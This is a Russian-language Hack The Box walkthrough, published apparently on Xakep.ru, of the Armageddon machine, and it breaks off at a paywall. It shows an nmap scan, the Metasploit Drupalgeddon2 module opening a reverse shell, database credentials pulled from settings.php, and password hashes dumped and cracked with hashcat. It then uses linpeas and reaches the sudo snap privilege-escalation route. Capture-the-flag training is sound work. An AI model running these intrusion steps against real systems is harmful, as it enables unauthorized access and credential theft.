В этой статье мы попен­тестим сайт под управле­нием Drupal, а затем про­экс­плу­ати­руем нашумев­шую в свое вре­мя уяз­вимость Dirty Sock. Поможет нам в этом лег­кая по заяв­ленно­му уров­ню слож­ности машина Armageddon с пло­щад­ки Hack The Box.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

Ад­рес машины — 10.10.10.233, не забыва­ем добавить его в /etc/hosts и прис­воим имя armageddon.htb.

И сра­зу же ска­ниру­ем пор­ты. При­вожу свой тра­дици­онный скрипт, осно­ван­ный на Nmap:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Результат работы скрипта
Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем два откры­тых пор­та: 22 (служ­ба SSH) и 80 (веб‑сер­вер Apache).

Наш­ли веб‑сер­вер — сра­зу же идем смот­реть, что за сайт на нем раз­вернут.

Стартовая страница сайта
Стар­товая стра­ница сай­та

Нас встре­чает Drupal — одна из популяр­ней­ших сис­тем управле­ния кон­тентом (CMS). В ней навер­няка най­дут­ся извес­тные уяз­вимос­ти.

 

Точка входа: Drupal

Для Drupal так­же есть спе­циаль­ное средс­тво ска­ниро­вания, которое поможет най­ти уяз­вимос­ти, — droopescan. Уста­новим прог­рамму и выпол­ним ска­ниро­вание в 32 потока.

git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
python3 droopescan scan drupal -u http://armageddon.htb -t 32
Результат работы скрипта
Ре­зуль­тат работы скрип­та

Droopescan нашел уста­нов­ленные пла­гины, темы и веро­ятную вер­сию CMS. Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной вер­сии готовые экс­пло­иты. Надеж­нее все­го искать при помощи Google, а так­же на спе­циали­зиро­ван­ных сай­тах — HackerOne, Exploit-DB и GitHub.

Поиск эксплоитов в Google
По­иск экс­пло­итов в Google

Но если ты поль­зуешь­ся Kali, то Exploit-DB у тебя уже есть и в дан­ном слу­чае дос­таточ­но запус­тить ути­литу searchsploit, что­бы най­ти сра­зу нес­коль­ко экс­пло­итов.

searchsploit Drupal
Эксплоиты, найденные searchsploit
Экс­пло­иты, най­ден­ные searchsploit

Ви­дим, что хост содер­жит извес­тную уяз­вимость Drupalgeddon 2, что даст нам уда­лен­ное выпол­нение кода (RCE). Помет­ка Metasploit озна­чает, что экс­пло­ит уже реали­зован для Metasploit Framework, и, так как это удоб­нее, будем исполь­зовать его.

info

Под­робный ана­лиз прин­ципов работы уяз­вимос­ти читай в статье «Дру­пал­геддон-2. Под­робно раз­бира­ем новую уяз­вимость в Drupal».

 

Точка опоры

Ког­да необ­ходимый модуль най­ден, сто­ит гля­нуть, какие ему нуж­но задавать парамет­ры (коман­да show options).

Поиск эксплоита Drupalgeddon2 в Metasploit Framework
По­иск экс­пло­ита Drupalgeddon2 в Metasploit Framework
Опции модуля drupal_drupalgeddon2
Оп­ции модуля drupal_drupalgeddon2

Та­ким обра­зом, сле­дует ука­зать целевой хост для ата­ки, а так­же адрес локаль­ного хос­та и порт для обратно­го под­клю­чения.

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS armageddon.htb
set LHOST 10.10.14.86
set LPORT 80
run
Выполнение эксплоита Drupalgeddon2
Вы­пол­нение экс­пло­ита Drupalgeddon2

И мы получа­ем обо­лоч­ку, где можем выпол­нять коман­ды на уда­лен­ном хос­те. Прав­да, пока толь­ко в кон­тек­сте учет­ной записи поль­зовате­ля‑служ­бы.

 

Продвижение

Так как на хос­те раз­вернут веб‑сер­вер, а на нем работа­ет даже целая CMS, то пер­вое наше дей­ствие — поп­робовать получить какие‑нибудь учет­ные дан­ные поль­зовате­лей. Высока веро­ятность, что эти учет­ки подой­дут и для локаль­ных поль­зовате­лей в сис­теме. В слу­чае с Drupal есть мес­то, где учет­ные дан­ные есть всег­да, — файл с нас­трой­ками для под­клю­чения к базе дан­ных default/settings.php.

Содержимое директории default
Со­дер­жимое дирек­тории default
Содержимое файла settings.php
Со­дер­жимое фай­ла settings.php

Эти учет­ные дан­ные поз­воля­ют под­клю­чить­ся к базе дан­ных и получить дру­гие кри­тичес­кие дан­ные поль­зовате­лей. Спер­ва коман­дой shell получим коман­дную обо­лоч­ку на уда­лен­ной машине, пос­ле чего выпол­ним под­клю­чение к базе дан­ных MySQL с получен­ными учет­ными дан­ными.

mysql -u drupaluser -h localhost -p

В слу­чае с Drupal нас инте­ресу­ют дан­ные из таб­лицы users базы drupal.

use drupal;
select name,pass from users;
show;
Данные из таблицы users базы drupal
Дан­ные из таб­лицы users базы drupal

На­ходим хеш пароля поль­зовате­ля brucetherealadmin. А как мы узна­ем из фай­ла /etc/passwd, дан­ный поль­зователь явля­ется сис­темным.

Содержимое файла /etc/passwd
Со­дер­жимое фай­ла /etc/passwd

Да­вай перебе­рем этот пароль с помощью hashcat. Сна­чала узна­ем, какой режим исполь­зовать, а потом переда­дим его номер через параметр -m.

hashcat --example | grep -A2 -B2 '$S'
hashcat -m 7900 -a 0 hash.txt ../tools/rockyou.txt
Определение типа хеша
Оп­ределе­ние типа хеша
Результат перебора хеша
Ре­зуль­тат перебо­ра хеша

Мы успешно переби­раем получен­ный хеш и узна­ем пароль поль­зовате­ля. И пос­ле под­клю­чения по SSH забира­ем пер­вый флаг.

Флаг пользователя
Флаг поль­зовате­ля
 

Локальное повышение привилегий

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Источни­ков информа­ции очень мно­го, и, что­бы не переби­рать их вруч­ную, я обыч­но исполь­зую скрип­ты PEASS. Они авто­мати­чес­ки про­ходят сис­тему в поис­ках зацепок для повыше­ния при­виле­гий. Заг­рузим на локаль­ный хост скрипт для Linux.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь нуж­но заг­рузить его на уда­лен­ный хост. Для это­го мож­но исполь­зовать стан­дар­тные средс­тва SSH. Пос­ле заг­рузки необ­ходимо дать пра­во на выпол­нение и выпол­нить скрипт.

scp ../tools/linpeas.sh brucetherealadmin@armageddon.htb:/tmp/
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ви­дим, что мы можем зацепить­ся за нас­трой­ки sudoers (sudo -l). Поль­зователь brucetherealadmin без вво­да пароля может выпол­нить сле­дующую коман­ду в при­виле­гиро­ван­ном кон­тек­сте:

/usr/bin/snap install *

Snap — это сис­тема управле­ния и рас­пре­деле­ния пакетов, соз­данная в Canonical (раз­работ­чик Ubuntu). Сами пакеты Snap пред­став­ляют собой заранее ском­пилиро­ван­ные вмес­те со все­ми зависи­мос­тями и биб­лиоте­ками при­ложе­ния, которые затем исполня­ются в изо­лиро­ван­ной сре­де. Они лег­че и быс­трее уста­нав­лива­ются, могут получать пос­ледние обновле­ния, а так­же более безопас­ны с точ­ки зре­ния дос­тупа к опе­раци­онной сис­теме и важ­ным фай­лам.

Но все же при­ложе­ния могут получать дос­туп к хос­ту при работе в режиме devmode. Snap исполь­зует Linux-сокет AF_UNIX, который необ­ходим для свя­зи меж­ду про­цес­сами на одном компь­юте­ре. Для него уста­нов­лены пра­ва 0666, что поз­воля­ет любому про­цес­су под­клю­чать­ся и вза­имо­дей­ство­вать с этим сокетом.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    2 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии